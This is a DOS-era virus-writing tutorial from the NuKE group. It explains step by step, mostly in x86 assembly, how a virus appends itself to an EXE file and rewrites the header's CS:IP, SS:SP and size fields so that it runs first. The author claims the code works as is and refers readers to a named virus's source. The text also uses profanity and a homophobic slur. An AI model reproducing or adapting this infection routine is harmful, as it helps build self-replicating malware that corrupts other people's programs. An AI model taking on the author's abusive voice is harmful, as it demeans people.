    **************************************************
    ** EXE Infections : PART I  `Infection Process' **
    **                                              **
    **            By Rock Steady/NuKE               **
    **************************************************

     We must admit there are HUGE amount of Lame Viruses out there. Ever
     wonder why so many people talk about the AIDS virus? Its a fucken over
     writting virus. Its HUGE in size and its written in PASCAL. Please! Have
     a little more respect for the virus world. What happened to that old
     Bulgarian Spirit? That too has died. Bulgaria isn't writting as many top
     viruses as it used to! Or are we in for a surprise? (USSR Kicks!)

     Well to help people in advancing their Virus programming ability I will
     try to explain that basics in Infecting an EXE file. There are several
     ways to infect an EXE file. And I have tried several types. The best one
     I have programmed is the one you'll see. In Basic, it will infect EXEs
     by starting a new segment, only for the virus. This will infect EXEs over
     the size of 64k, and it is alot less complicated..

     Before we can begin we must know a few things, about EXEs. Let's say a
     .COM file has been loaded to segment address 1234:0000. When the COM file
     runs its code is limited to 1234:0000 to 1234:FFFF (64k). In the other
     end EXE files, are basicaly several COMs in one. Where EXE files can set
     up DATA struct in one segment, CODE in another, and STACK in another. EXEs
     can have an unlimited amount of Segments, its limitation is Memory
     Availablity. And the EXE file keeps track of these Segments, with an
     EXE header, telling DOS what segments start where, How big the file is,
     the amount of memory needed to run. the EXE header is the first few bytes
     of the EXE file. Though if you use DEBUG to load an EXE file you will not
     run into the EXE header, as DEBUG uses the EXE header to load its CS:IP
     regesters with, the SS:SP and so on. Though you can view the EXE header
     with debug if you Rename that EXE file. So just do `DEBUG FILENAME.EQE'
     Just rename an EXE, the extension can be anything you wish, however don't
     go and rename it to COM or BIN, these are reserved Extensions, and debug
     treats them differently, Example if you rename it to COM debug will load
     the IP regester as 0100h. The EXE header is Usually 28 bytes, though it
     is save as 32 Bytes Long. As the size of the EXE header (Offset 8) is in
     multiple 16 bytes, so 28 bytes will have to be covered in (16*2)! But the
     last 4 bytes are unused, by dos, Though Doesn't STOP a VIRUS from using
     it? Just a poping ideas out in the open. Anyhow this is how the EXE header
     consists, of..
     START OFFSETS            DISCRIPTIONS
     (hex) (dec)
       00 | 00 | Always 4D 5A. Marks this file as an .EXE file
      *02 | 02 | Remainder after dividing load module's size by 512
      *04 | 04 | Size of file in 512 byte pages
       06 | 06 | Number of relocation table entries
      @08 | 08 | Size of header in paragraphs (16 bytes)
       0A | 10 | Minumum number of paragraphs required after loaded program
       0C | 12 | Maximum number of paragraphs required after loaded program
      *0E | 14 | (SS) Offset of Stack Segment in Load module in paragraphs
      *10 | 16 | SP regester loaded with this word
       12 | 18 | Negative sum (ignore overflow) of all words in file (CRC)
      *14 | 20 | IP register loaded with this word
      *16 | 22 | (CS) Offset of Code Segment in load module in paragraphs
       18 | 24 | Offset of first relocation item.
       1A | 26 | Overlay number. If no overlays used, this is 0
     * = Will be Edited by our Virus
     @ = Needed to help our reconstruction of the EXE header

     First thing to do is read the EXE header for the file to be infected!
     That can be resolved by...
         mov     ah,3fh                 ; Read from File BTW: BX=File Handle
         mov     cx,1ch                 ; Read 1Ch Bytes (28)
         mov     dx,offset ds:[buffer]  ; Put it in our Buffer we set up!
         int     21h                    ; Call the Dos to do it.
         jc      error_exit             ; Error accured, Jmp to an Exit Routine
     buffer  db      1Ch DUP (?)     ;This is how to set up your buffer.
     exe_ip  dw      0       ;This is were you will save the original
     exe_cs  dw      0       ;Registers from the EXE header!
     exe_sp  dw      0       ;Put all theses DWs & DBs at the end of
     exe_ss  dw      0       ;you file, with all the others...
     Next, after reading the first 28 bytes, you will need to set your file
     pointers to the end of the file.

         mov     ax,4202h        ; Move Read/Write Pointer to End of File
         xor     cx,cx           ; plus offset (CX:DX)! So make sure CX:DX
         xor     dx,dx           ; are ZERO or else it will go further than
         int     21h             ; the End of File!
         jc      error_exit      ; Also test for errors! Be a Smart Virus!

     After bringing your virus to the end, you may start the infection
     process...
     ;Remember BX = File Handle  DX:AX Pointer Location (EOF)
         cmp    word ptr cs:[buffer],5A4Dh  ; Is file an .EXE?
                                      /\ Reverse double word format
         jnz    error_exit           ;Exit its NOT an .EXE file!
         mov    cx,word ptr cs:[buffer+14h]  ;IP register Read
         mov    word ptr cs:[exe_ip],cx      ;Save IP Register
         mov    cx,word ptr cs:[buffer+16h]  ;CS Register Read
         mov    word ptr cs:[exe_cs],cx      ;Save CS Register
         mov    cx,word ptr cs:[buffer+10h]  ;SP Register Read
         mov    word ptr cs:[exe_sp],cx      ;Save SP Register
         mov    cx,word ptr cs:[buffer+0Eh]  ;SS Register Read
         mov    word ptr cs:[exe_ss],cx      ;Save SS Register

     The following finds new CS:IP and SS:SP registers. It will create a new
     segment, and CS:IP will point to the beginning of the Virus. If you have
     other code, and the virus beginning is further down the First byte, just
     add the number of Bytes to AX.
         push   ax
         push   dx
         call   Find_New_Offsets     ;Refer to it at the END of this Text
         sub    dx,word ptr cs:[buffer+8h]  ;Minus CS offset by EXE header!
         mov    word ptr cs:[buffer+16h],dx ;Save new CS Register
         mov    word ptr cs:[buffer+14h],ax ;Save new IP Register
         pop    dx
         pop    ax           ; Restore Original DX:AX Point Location (EOF)
         add    ax,virus_size      ; .STACKs are usually at the end of the code
                                   ; in the EXEs, since our virus is now at the
                                   ; End, we must move it after our virus, thus
                                   ; it back at the END of the File!
         adc    dx,0         ;Add with Carry Flag!
         push   ax
         push   dx                          ;Save new EOF pointer Location
         call   Find_New_Offsets            ;Get NEW offsets for SS:SP
         sub    dx,word ptr cs:[buffer+8h]  ;Subtract EXE header from File Size
                                            ;as it should not be counted!
         add    ax,40h                      ;Move Stacks a little after EOF
         mov    word ptr cs:[buffer+0Eh],dx ;Save new SS Register for Stacks
         mov    word ptr cs:[buffer+10h],ax ;Save new SP Register for Stacks
         pop    dx
         pop    ax           ;Restore Original EOF (With Virus Counted)
         push   bx
         push   cx
         mov    cl,7                 ;In Simple, here we are figuring out
         shl    dx,cl                ;the New File Size in 512byte pages
         add    bx,ax                ;Now Rather than using the DIV and
         mov    cl,9                 ;MOD function, I used this one because
         shr    bx,cl                ;It is alot FASTER for the Processor!
         add    dx,bx                ;The Result is exactly same, But
         and    ax,1FFh              ;Shifting bits, results of the
         jz     Its_Even             ;Same function when dealing with base
         inc    dx                   ;16 numbers!
     Its_Even:            ;Read PeterNorton's Advanced ASM Language for
         pop    cx        ;more neat short cuts for the above!
         pop    bx
         mov    word ptr cs:[buffer+2h],ax   ;Remainder after of 512 pages
         mov    word ptr cs:[buffer+4h],dx   ;New File Size in 512 pages
     Now we are Ready to write the virus to the EXE File! (Yeah!)
         mov    ah,40h                 ;Write to File
         mov    dx,offset init_Virus   ;This is the BEGINNING offset of your
                                       ;Virus! (Look at NuKE PoX v1.1)
         mov    cx,Virus_size          ;Virus Size
         int    21h
         jc     error_exit             ;Error Exit dude...
         mov    ax,4200h               ;Move File Pointer to the BEGINNING
         xor    cx,cx                  ;of the EXE so, we may now write the
         xor    dx,dx                  ;EXE header!
         int    21h
         mov    ah,40h                ;Write to File
         mov    dx,offset ds:[buffer] ;Write all the stuff in the EXE_Header
         mov    cx,1Ch                ;CX=number of bytes to write
         int    21h                   ;Do it!

     ;  finds new Offsets for CS:IP & SS:SP Registers
     Find_New_Offsets        PROC    NEAR
             push    bx
             push    cx
             mov     cl,0Ch              ;(c) Rock Steady/NuKE
             shl     dx,cl               ; I'm dividing here....
             mov     bx,ax
             mov     cl,4                ; And multiply by 16 hear
             shr     bx,cl
             add     dx,bx
             and     ax,0Fh
             pop     cx
             pop     bx
             retn
     Find_New_Offsets        ENDP
                             Rock Steady / NuKE
     PS: This code works 100% as is! (Resident Virus) For Non-Residents add
         a location pointer! Besides, Why the Hell are you write a non-Ressy
         Virus? You Gay? Look at `NuKE PoX V1.1' sources to see this working!